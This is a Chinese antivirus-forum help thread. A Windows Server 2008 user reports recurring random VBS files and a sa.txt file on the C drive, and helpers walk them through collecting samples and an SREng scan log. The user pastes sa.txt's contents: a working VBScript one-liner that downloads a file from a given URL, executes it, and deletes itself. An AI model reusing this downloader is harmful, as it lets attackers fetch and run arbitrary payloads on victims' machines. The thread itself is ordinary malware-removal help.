瑞星卡卡安全论坛

系统是正版的window2008，c盘老是生成随机命名的VBS文件，有的VBS文件瑞星报毒直接杀毒，还生成sa.txt文件，还把资源管理器的隐藏/显示改为显示。
瑞星全盘杀没有病毒。

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)

系统是正版的window2008，c盘老是生成随机命名的VBS文件，有的VBS文件瑞星报毒直接杀毒，还生成sa.txt文件，还把资源管理器的隐藏/显示改为显示。
瑞星全盘杀没有病毒。

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)

那些生成的文件压缩发来看

另外用SRENG工具扫描系统日志发这论坛来,建议日志文件以附件形式接本贴发来：

下载：http://www.kztechs.com/sreng/download.html

取消“智能扫描”项内的“Windows安全更新检查”前的勾再扫描，否则可能扫描半天没结果。

使用System Repair Engineer扫描日志，将日志作为附件上传上来。
下载页面：http://www.kztechs.com/sreng/download.html
操作方法：
1、下载后解压缩，运行SREngPS.EXE；
2、如果无法打开尝试把SREngPS.EXE改名为123.com，并复制到c:\windows目录下运行；
3、依次点击【智能扫描】-【扫描】，耐心等待，扫描结束后点击【保存报告】；
4、选择保存路径，文件名保持默认，直接点击【保存】；
5、打开保存的日志文件SREngLOG.log，完整复制全部内容，新建一个文本文档，将日志中的全部内容粘贴到“新建文本文档.txt”中；
6、将“新建文本文档.txt”作为附件上传，同时务必详细描述问题现象，如果有查杀不净的病毒务必提供病毒名和路径。
注意：扫描前请尽量关闭QQ、游戏、下载工具、媒体播放器等应用程序

使用楼上老兄说的软件扫描了，扫描完但点保存报告时没有反应
附件是c盘生成的VBS文件，瑞星报毒的都被瑞星杀掉了

附件: vbs.rar

这个是扫描后多出来的文件，是需要的文件吗

附件: 3rdUpdLog.TXT

fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.ResponseBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"


这是c盘下生成的sa.txt的内容

这个不是需要的文件，建议楼主重启一下电脑，然后用楼上所说的讲软件修改名称后使用，因为有的病毒会按软件名称开始禁用，出现无法打开或者无法保存的现象，待扫描后上传日志再看看如何解决

重启机器，也改了文件名，放在window目录下，还是不能保存！！！

你是没操作正确吧？？？

照这个附件内的说明操作吧

附件: SReng2.8.2.1321版.rar

实在没办法，今天用了一天的时间重新装机器了，原来用的是64位window2008rc2，现在改用32位的window2008了，这回看还会不会出同样的问题。
感谢楼上的几位

该用户帖子内容已被屏蔽

该用户帖子内容已被屏蔽